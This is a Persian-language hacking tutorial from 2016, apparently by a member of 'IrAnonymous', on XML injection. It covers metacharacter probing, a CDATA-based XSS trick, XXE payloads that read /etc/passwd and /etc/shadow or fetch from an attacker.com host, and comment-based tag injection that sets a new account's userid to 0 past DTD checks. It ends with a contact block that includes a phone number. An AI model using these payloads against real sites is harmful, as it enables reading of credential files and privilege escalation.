Mohammad Parishan

XML Injection

The first Persian-language instruction for this Vulnerability

اولین آموزش به زبان فارسی برای این آسیب پذیری

Written by Parishan @ IrAnonymous.OrG

2016

“He who lives by hacking

No hack dies.“

(Quote from Parishan)

آسیب پذیری از نوع تزریق ایکس ام ال

نوشته شده توسط محمد پریشان

با تشکر از زحمات امین صادقی مقدم

IrAnonymous.OrG

(thanks to Amin-Sadeghi)

فهرست مطالب

مقدمه

.عرض سلام و خسته نباشید خدمت تمام فعالان تو حوضه سایبری

همونطور که میدونین امروزه روز تمام ارتباطات و کنترل تجهیزات تو دنیا تقریبا از طریق اینترنت هستش.و درواقع فرمانروای واقعی تو این دوره .کسانی هستن که میتونن این صفر و یک هارو کنترل کنن

بر این اساس افرادی هستن که بطور سازماندهی شده روی مسایل امنیتی تمرکز کردن و تمام تلاششون رو انجام میدن تا کسی نتونه به سیستم مدیریتی دنیا دستی بزنه و درواقع نه از یک سیستم اینترنتی بلکه از یک دنیا محافظت میکنن.ولی باید منطقی بود و این رو در نظر گرفت که کسانی هستن که بیکار ننشستن و بدنبال کشف باگ های جدیدی هستن.درواقع دنبال این هستن راه به جایی پیدا کنن که هیچکسی قبل از اونها اونجا نبوده.سرزمینی که .اونهارو وارد یک مسابقه ای میکنه که فقط یک نفر توش شرکت کرده.و اون خودش هستش.بهش میگن سرزمین پرایویت به اصطلاح هکرها

برای اینکه افراد زیادی رو آشنا کنیم با این دنیای جدیدی که پیدا شده ، در پی این شدیم که بیاییم و این مقاله رو بنویسیم و همین امر باعث بشه که بتونیم .آمادگی خودمون رو تو هر زمان که نیاز بود ، اعلام کنیم

بچه های زیادی کمکم کردن تا بتونیم این آموزش رو بدست شما خواننده های محترم برسونیم.دوست خوبم امین صادقی و آقا سامان خیلی زحمت کشیدن.از همینجا میخوام که کسایی که این مقاله رو میخونن حتما با ما ارتباط برقرار کنن تا انگیزه ای باشه که بتونیم مقالات جدید تری رو به دست .شما برسونیم

توضیحات اولیه

xml injection

.متودی هستش که هکر تلاش میکنه داخل نرم افزار تحت وب یه سند ایکس ام ال تزریق کنه

.اگر تفسیر کننده های سرور نتونه به سند ایکس ام ال ما اعتباری بده اونوقت هکر میفهمه که این آسیب پذیری وجود داره داخل وب سایت

.تو این مقاله میخوام که یک سری نمونه هارو از نحوه ی ایکس ام ال اینجکشن برای شما نشون بدم

قبل از اینکه آموزش نحوه ی نفوذ رو بخوام برای شما شروع کنم در مورد فایل های ایکس ام ال باید به شما بگم که تنها نقشی که داخل یک سرور یا ک وب سایت داره برای این هستش که اگر دو سستم مجزا با قوانین مجزا به هم برخورد کنن نمیتونن باهم تبادل دیتا داشته باشن و به نوعی حرف هم دیگه رو متوجه نمیشن.تو این حالت فایل های ایکس ام ال به شکل نوعی پروتکل عمل میکنن و باعث میشن که این دو سیستم باهم طبق قوانین موجود .داخل فایل ایکس ام ال ، ارتباط برقرار کنن

حالا هکر میتونه بیاد و قوانینی رو برای این فایل ایکس ام ال تعریف کنه که داخلش تیکه کد مخربی که میخواد رو بذاره و بعد اینطوری تعریف شده باشه که سرور بعد از تفسیر کردن کد اون رو از طریق مفسر های پی اچ پی یا هر چیز دیگه ای برای ما باز کنه و نشون بده.این آسیب پذیری به قدری خطرناک هستش که سایتای خیلی خفنی مثل فیس بوک و نمیدونم پی پال وو که اخیرا شنیدین یه عده هستن که دلار های پی پال رو این قدرت رو دارن که هک کنن و بقیه موارد نتونستن از دست این نوع آسیب پذیری خودشون رو در امان نگه دارن.اکسپلویت هایی هم که تو این نوع آسیب پذیری نوشته میشن معمولا پابلیک نمیشن.چون اکسپلویت هایی هستن که با استفاده از اونها سایت های بزرگی رو میشه بهش نفوذ کرد.حالا داستانی که هستش اینه که ما میخواییم با نحوه ی عملکر این آسیب پذیری و همین طور اینکه اصلا چطوری میشه که ما خودمون بتونیم بدون داشتن اکسپلویت آماده ، برای .سایت مورد نظرمون خودمون کدمون رو درست کنیم یا همون اکسپلویتمون رو بنویسیم برای این نوع آسیب پذیری

فقط توجه کنین که تو این مقاله استاندارد های اکسپلویت نویسی رو نمیخوام توضیح بدم چون قرار نیستش کسی اکسپلویتی از این نوع رو که مینویسه .داخل سایت ثبت باگی اون رو ثبتش کنه

آشنایی اولیه از نحوه ی عملکرد

بیایین فرض کنیم که یه افزونه یا نرم افزار تحت وبی رو برنامه نویس نوشته که عمل ثبت نام کاربر رو برای ما انجام بده و همین طور یه دیتابیسی رو برای این سند ایکس ام ال ما در نظر گرفته که ما اسمش رو میذاریم:

xmldb

یعنی این برنامه یا افزونه عمل ثبت کاربر رو انجام میده و یه گروه جدید داخل ایکس ام ال دی بی ایجاد میکنه.من حروف لاتین رو معمولا به صورت فارسی مینویسم چونکه اگه اینکارو نکنم و به صورت لاتین بکار ببرم جهتشون عوض میشه و متن بهم میریزه برای کپی کردن داخل انجمن.

خب حالا ما فرض بگیریم که فایل ایکس ام ال دی بی ما محتویات و کدهاش به شکل زیر هستش:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
 <users>
      <user>
           <username>rising</username>
           <password>!c3</password>
           <userid>0</userid>
          <mail>rising@example.com</mail>
     </user>
      <user>
           <username>sunlands</username>
           <password>w1s3c</password>
           <userid>500</userid>
          <mail>sunlands@example.com</mail>
     </user>
 </users>
```

حالا کاربر زمانی که تحت یک فرم اچ تی ام ال اون اطلاعات لازم رو ثبت میکنه ، سرور طبق استاندارد ها و رول هایی که براش تعریف شده ، دیتا های کاربر رو به سمت دیتابیس سایت میفرسته.و توجه داشته باشین که برای سادگی برقراری ارتباط سرور میاد و درخواستش رو به صورت:

GET

رسال میکنه.یعنی از طریق یو آر ال.

بعنوان مثال مقادیر زیر:

Username: Parishan

Password: Un6R34kb!e

E-mail: parishan@linuxmail.org

:که نحوه ی ارسال درخواست سرور در یو آر ال به این شکل در میاد

http://www.example.com/addUser.php?username=Parishan&password=Un6R34kb!e&email=parishan@linuxmail.org

:و نرم افزار بعد از دریافت درخواست بالا دیتا های دریافت شده رو به شکل زیر بویلد میکنه

<user>

<username>Parishan</username>

<password>Un6R34kb!e</password>

<userid>500</userid>

<mail>parishan@linuxmail.org</mail>

</user>

و همونطور که گفتیم برنامه نویس تنظیم کرده بود که اطلاعات ثبت نام کاربر در یک فایل دیتابیس که ما با نام ایکس ام ال دی بی در نظر گرفتیم ، دیتا .هارو داخلش قرار بده و یک گروه کاربری برای یوزر مورد نظرمون که ثبت نام میکنه ایجاد کنه

:در این صورت فایل ایکس ام ال دی بی ما به حالت زیر در میادش

<?xml version="1.0" encoding="ISO-8859-1"?>

<users>

<user>

<username>rising</username>

<password>!c3</password>

<userid>0</userid>

<mail>rising@example.com</mail>

</user>

<user>

<username>sunlands</username>

<password>w1s3c</password>

<userid>500</userid> <mail>sunlands@example.com</mail> </user> <user> <username>Parishan</username> <password>Un6R34kb!e</password> <userid>500</userid> <mail>parishan@linuxmail.org</mail> </user> </users>

کشف باگ

اولین قدم برای اینکه ما یک نرم افزار تحت وب رو تست کنیم که ببینیم باگ

xml injection

رو دارا هستش یا نه این هستش که ما متاکاراکتر های ایکس ام ال رو تزریق کنیم تا متوجه بشیم که آیا برنامه ی مورد نظر ما این باگ رو دارا هستش یا نه.

متاکاراکتر های ایکس ام ال:

سینگل کوتیشن

(')

عبارت مورد نظر ما داخل پرانتز بالا قرار داده شده که میتونین ببینینش.سینگل کوتیشن ها مقادیر دیتابیس رو در یک تگ مشخص مینه.حالا نحوه استفاده از سینگل کوتیشن ها باید به صورت جفتی باشه.اگه هکر بیاد و یه سینگل کوتیشن اضافی تزریق کنه باعث پرتاب شدن مقادیر به بیرون از تگ میشه.

یکم فهمیدنش پیچیده است؟

اشکالی نداره الان یه مثال میزنم که بهتر متوجه بشین.

ببینین مثلا یکی از تگ های ما به شکل زیر هستش:

<node attrib='$inputValue'/>

و حالا اگه مقدار متغیری که ما تو بالا بکار برده باشیم ، مقدار زیر باشه:

inputValue = foo'

بعد از گذاشتن سینگل کوتیشن ما داخل تگ اصلی ما مقدار تعریف شده متغیر به شکل زیر در میادش:

<node attrib='foo''/>

پس بعد از نتیجه گیری مفسر ها ، متوجه این موضوع میشن که کد ما به خوبی شکل نگرفته و چون فرم استانداردی که براش تعریف شده رو ندارن نمیتونن اون رو بدون اشکال تفسیر کنن.

متاکارکتر بعدی ما

دابل کوتیشن

(“)

.دابل کوتیشن با سینگل کوتیشن از نظر عملکردی که تو بالا توضیحش رو دادم براتون ، هیچ فرقی نداره

متاکاراکتر بعدی ما

پرانتز زاویه دار

.هستش

(<) یا (>)

.متاکاراکتر بالا رو ما تو ورودی یوزر میتونیم بزنیم

:مثلا به شکل زیر اگه مقدارمون رو ارسال کنیم

Username = foo<

:دیتای ارسالی ما بعد از بویلد شدن به شکل زیر در میادش

```
<user>
    <username>foo<</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
   <mail>parishan@linuxmail.org</mail>
</user>
```

:که همون طور که میبینین در خط دوم یعنی قسمت زیر

<</username>

.به چه شکل نادرستی درومده

کامنت یا توضیحات

(<!--/-->)

:اگر ما متاکارکتر بالا رو داخل یک پارامتری که شامل دیتا های یوزرنیم هستش تزریق کنیم بطور مثال به شکل زیر

Username = foo<!--

:برنامه بعد از بویلد کردن درخواست ارسال شده کدهایی رو که دریافت میکنه به شکل زیر خواهد بود

```
<user>
    <username>foo<!--</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
   <mail>parishan@linuxmail.org</mail>
</user>
```

.که از نظر مفسر ها و تجزیه کننده ها یه دنباله ی معتبری نیستش

علامت خاص

(&)

.از علامت بالا برای نشان دادن نهاد یا اشخاص در یک یونیکد استفاده میشه.که حالت صحیح استفاده از این علامت به شکل زیر هستش

<tagnode><</tagnode>

.توجه داشته باشین که تو عبارت بالا من فقط خواستم بدونین که از این علامت در کجا و به چه شکلی استفاده میشه

حالا اگر ما از این علامت در جای نادرست استفاده کنیم چه اتفاقی میفته؟

.یعنی ما بیاییم و از این علامت برای تزریق استفاده کنیم

:مثلا اگه یک ورودی به شکل زیر داشته باشیم

Username = &foo

:در داخل فایل ایکس ام ال دی بی ما یک گره ی جدیدی ایجاد میشه که به شکل زیر هستش

```
<user>
 <username>&foo</username>
 <password>Un6R34kb!e</password>
 <userid>500</userid>
<mail>parishan@linuxmail.org</mail>
```

</user>

که در این صورت گره ی ایجاد شده معتبر نیست و منسوخ خواهد شد.و درواقع ما با این کار یوزرنیم رو تبدیل به یک نهاد تعریف نشده کردیم با استفاده از علامت مذکور.

CDATA استفاده از

موارد استفاده از

<![CDATA[/]]>

تو جاهایی هستش که که ما میخواییم متن ما از داخل یک بلوک قسمت بندی بشه و در واقع با کمک نشانگر جداکننده ی بالا باعث میشه که مقادیر ما توسط یک تجزیه کننده ی ایکس ام ال ، تفسیر نشه.

مثلا اگر ما بخواییم در یک بعدا از یک قسمت از متنمون به شکل نمایندگی گرفتن از اون متن استفاده کنیم از این جداکننده استفاده میکنیم.مثل تیکه کد زیر:

<node>

<![CDATA[<foo>]]>

</node>

به طوری که

foo

بعنوان نشانه گذاری تفسیر نشه و فقط یه دیتای کارکتری اون رو در نظر بگیره.

حالا اگه یه یونیکد به شکل زیر ساخته شده باشه:

<username><![CDATA[<$userName]]></username>

هکر باید تو قسمت آخر

CDATA

از استرینگ زیر استفاده کنه

]]>

که سند ایکس ام ال رو باطل کنه.

در این صورت درخواست ارسال شده به حالت زیر تبدیل میشه:

<username><![CDATA[]]>]]></username>

که نهایتا طبق خواسته ی هکر یک تیکه کد ایکس ام ال معتبر نیستش.

البته یه روش دیگه ای هم وجود داره برای تست کردن از طریق متود بالا بدین صورت که:

فرض کنین قراره یه صفحه ی اچ تی ام ال تولید بشه که لازمه اش اینه که قبل از ایجاد اون صفحه ی اچ تی ام ال یک فایل ایکس ام ال پردازش بشه.حالا تو این حالت ممکنه که جداکننده ی مورد نظر ما خیلی ساده از بین بره بدون اینکه مطالب رو بررسی کنه که اصلا چه چیزی داره از بین

میره.بعد تو این جا ممکنه که یه سری کدهای اچ تی ام ال هکر تزریق کنه که تو صفحه ی تولید شده به نمایش در میاد و به طور کامل همه ی موارد و رول های ایکس ام ال رو بایپس میکنه.

بذارین یه مثال عینی رو در نظر بگیریم.فرض کنین که یونیکد زیر یه سری مقادیری رو داره که میخواد به یه یوزر نشون بده:

<html> $HTMLCode </html>

که در این حالت هکر میتونه ورودی زیر رو ارایه کنه:

$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

که در این صورت یونیکدی که به وجود میاد یه کد اچ تی ام ال به شکل زیر هستش:

<html>

<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

</html>

تو این حالت بعد از پردازش یه قسمتی از جداکننده های ما حذف میشن و فقط قسمت زیر میمونه که درواقع یه جور تولید کننده ی کد اچ تی ام ال هستش:

<script>alert('XSS')</script>

و نتیجه این میشه که هکر درواقع برنامه رو آسیب پذیر به باگ ایکس اس اس میکنه.

External Entity:

این گزینه داره میگه اگه کد های ما ، ماهیت های خارجی داشته باشن اگر ماهیتی که ما داریم ست میکنیم معتبر باشه میشه از اونها تو خارج از بخش اصلی ، ماهیت های جدیدی رو اضافه کرد.

اگه ماهیتی که ما اضافه میکنیم ، ماهیتی باشه که از طریق یو آر ال قابل دسترسی باشه ، این یو آر ال مطمعن باشین که تو خارج ازکد اصلی قرار خواهد گرفت و به اصطلاح بهش یو آر ال خارجی میگیم.

مگر اینکه کانفیگی انجام شده باشه که دسترسی های لازم رو برای اینکار به تجزیه کننده های ایکس ام ال نداده باشه و اجازه ی اینکار رو غیرممکن کرده باشه.مثلا پیاده سازی این مسعله فقط برای یک فایل که روی لوکال هاست سیستم خودمونه یا اینکه روی ریموت یه سرور ولید و متصل به اینترنت.

اگه سرویس دهنده همچین رفتاری داشته باشه و هکر بیاد و حمله ی خودش رو انجام بده اصطلاحا بهش حمله از طریق باگ

xxe

گفته میشه.

یعنی تصور کنین که هکر بیاد با تعریف یک ماهیت خارجی ، کانفیگ رو طوری برقرار کنه که اجازه ی تجزیه کننده رو به لوکال یا فایل که روی ریموت یک سرور هست رو ازش بگیره و اجازه ی تغییرات نده.و درواقع هکر نه تنها دیگه میتونه از راه دور فایل های مارو مستقیم اسکن کنه بلکه شمارو هم از اجازه داشتن برای مدیریت روی فایل هاتون محروم کرده

.

xxe نحوه ی کشف باگ

برای کشف این باگ میتونین از ورودی زیر استفاده کنین:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo
 [
   <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >
]>
<foo>&xxe;</foo>
```

در صورتی که از ورودی بالا استفاده کنیم ، تجزیه کننده های سرور زمانی که میخوان پردازش خودشون رو انجام بدن ، وب سرور پردازشش تقریبا دان میشه یا فارسیش اینکه سقوط میکنه یا استاپ میشه.

زمانی هستش که یک سری اقدامات امنیتی برای جلوگیری از ورودی قرار دادن مخرب هکر تعبیه شده که من یک سری بایپس هارو برای شما تو قسمت پایین آوردم ، که میتونین زمان خوردن به موارد امنیتی از بایپس های زیر استفاده کنین:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >
```

]>

<foo>&xxe;</foo>

Tag Injection

زمانی که هکر مرحله ی اول آزمایش کشف باگش رو انجام میده به اطلاعات و محتویات فایل ایکس ام ال تقریبا دسترسی پیدا میکنه و با اونها آشنا میشه.

و زمانی که با اطلاعات فایل ایکس ام ال آشنا شدش ، اونوقت متناسب با محتویات فایل ایکس ام ال ، اقدام به تزریق تگ میکنه یا به اصطلاح تگ اینجکشن انجام میده.

من دقیقا انجام این حمله رو براتون پیاده میکنم تا نه تنها با نحوه ی انجام حمله آشنا بشین ، بلکه ببینین که هکر دقیقا چه کارهایی رو برای حمله ی خودش انجام میده:

بیاییم با توجه به اون مثالی که تو بخش اول زدیم و یک سری کدهایی داشتیم ، از همون ها استفاده کنیم که دیگه کدهای ما فرق نکنه و شما دچار سردرگمی نشین.

اگه یادتون باشه کدهای ما به شکل زیر نوشته شده بود:

Username: Parishan

Password: Un6R34kb!e

E-mail: parishan@linuxmail.org</mail><userid>0</userid><mail>parishan@linuxmail.org

بعد از اینکه درخواست بالا ارسال بشه ، نرم افزار بعد از بویلد کردن چیزی به شکل پایین رو باش روبه رو میشه:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
 <users>
      <user>
           <username>rising</username>
           <password>!c3</password>
           <userid>0</userid>
          <mail>rising@example.com</mail>
     </user>
      <user>
           <username>sunlands</username>
           <password>w1s3c</password>
           <userid>500</userid>
          <mail>sunlands@example.com</mail>
```

</user>

<user>

<username>Parishan</username>

<password>Un6R34kb!e</password>

<userid>500</userid>
<mail>parishan@linuxmail.org</mail><userid>0</userid><mail>parishan@linuxmail.org</mail>

</user>

</users>

.خب در این صورت بعد از بویلد شدن فایل ایکس ام ال ما شکل میگیره مطابق دستورات بالا و کاملا هم معتبر هستش

فقط یک مشکل تو قسمت بالا وجود داره و اون هم این هستش که اگه دقت کنین تو یونیکد آخر تگ

userid

.دوبار استفاده شده

معمولا فایل های ایکس ام ال از یک استاندارد با نام

DTD

.پشتیبانی میشن که همین باعث ریجکت شدن یونیکد مامیشه بخاطر اینکه با رول هایی که تعریف شده ، درخواست بویلد شده مطابقت نداره

:ببینین الآن فرض کنین که رول ها و قوانینی که برای استاندارد مورد نظر ما تعیین شده به شکل زیر باشه

<!DOCTYPE users [

<!ELEMENT users (user+) >

<!ELEMENT user (username,password,userid,mail+) >

<!ELEMENT username (#PCDATA) >

<!ELEMENT password (#PCDATA) >

<!ELEMENT userid (#PCDATA) >

<!ELEMENT mail (#PCDATA) >

]>

همون طور که میبینین یک کاردینالیتی برای

userid

.تعریف شده.که همین باعث میشه تا یک سری حملات ساده انجام نشه و قبل از پردازش ، درخواست های مخرب ، متوقف بشه

البته هکر میتونه این مشکل که پیش روش قرار داره و نمیذاره دستورات مخربش پردازش بشن رو از پیش روش برداره ، در صورتی که با اطلاعاتی که بدست آورده بتونه کنترل کافی داشته باشه روی قسمت مورد نظرش که تو اینجا ما

userid

.رو در نظر گرفتیم

که تو قسمت پایین نحوه ی بایپس کردنش رو بهتون میگیم

بایپس کردن استاندارد های امنیتی

همونطور که فهمیدیم هکر با استاندارد هایی که برای پردازش فایل ایکس ام ال وجود داشته با مشکل رو به رو شده.حالا اگه هکر خوبی باشه از فکرش استفاده میکنه و از تکنیک زیر خودش رو از این مشکل عبور میده:

ما گفتیم متاکارکتر هایی برای ایکس ام ال وجود داره که هکر ازش توی کشف باگ استفاده میکنه اما میتونه از همین متاکاراکتر ها برای بایپس کردن بعضی موارد امنیتی استفاده کنه.

.برای این مشکل بهترین کار استفاده از متاکاراکتری هستش که بخشی از کد مارو تبدیل به کامنت یا توضیحات میکنه

یادتون اومد کدوم متاکاراکتر رو میگم؟

.اگر هنوز یادتون نیومده که کدوم متاکاراکتر رو میگم به ادامه ی آموزش توجه کنین تا بفهمین

:اگه ما از کد زیر رو به سمت پردازش گر بفرستیم

Username: Parishan

Password: Un6R34kb!e</password><!--

E-mail: --><userid>0</userid><mail>parishan@linuxmail.org

در واقع کدی رو اینجکت کردیم بعنوان یک هکر که میاد و به سرور میگه که سرور و تجزیه کننده ی عزیز این قسمتی که من متاکارکتر کامنت رو گذاشتم ، بعنوان یک درخواست حسابش نکن.این یه توضیحه و به تو ارتباطی نداره.تجزیه کننده هم خیلی حرف گوش کن هیچ اهمیتی به اون بخش از کد نمیده و میفرسته برای پردازش ، بدون اینکه درخواست مخرب بالارو متوقف کنه.

در این صورت محتویات نهایی فایل

xmldb

:ما به شکل زیر در میادش

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>rising</username>
<password>!c3</password>
        <userid>0</userid>
<mail>rising@example.com</mail>
    </user>
<user>
```

<username>sunlands</username>

<password>w1s3c</password>

<userid>500</userid>

<mail>sunlands@example.com</mail>

</user>

<user>

<username>Parishan</username>

<password>Un6R34kb!e</password><!--</password>

<userid>500</userid>

<mail>--><userid>0</userid><mail>parishan@linuxmail.org</mail>

</user>

</users>

و به همین سادگی هکر اینجکت خودش رو انجام میده و دسترسی و کنترل فایل

xmldb

رو به دست میگیره و کاملا مدیریت داره بر این قضیه.

تمام استراتژی این باگ به این شکل بود که گفتم.حالا فکرش رو کنین که هکر وقتی بتونه روی محتویات فایل های دیتابیسی که روی سرور وجود داره کنترل کنه با متودی که گفته شد ، چه کارهایی میتونه انجام بده و اجازه ی درخواست پردازش چه اکسپلویت هایی یا همون کدمخرب هایی رو به سرور بده.

مشخصات تماس

Mr.Parishan@Gmail.Com

Parishan@LinuxMail.Org

09361575708

We Are:

محمد پریشان

امین صادقی مقدم

سامان خان

M.PHP

Mr.r9T

Sunlands

Rising

and

All IrAnonymous Users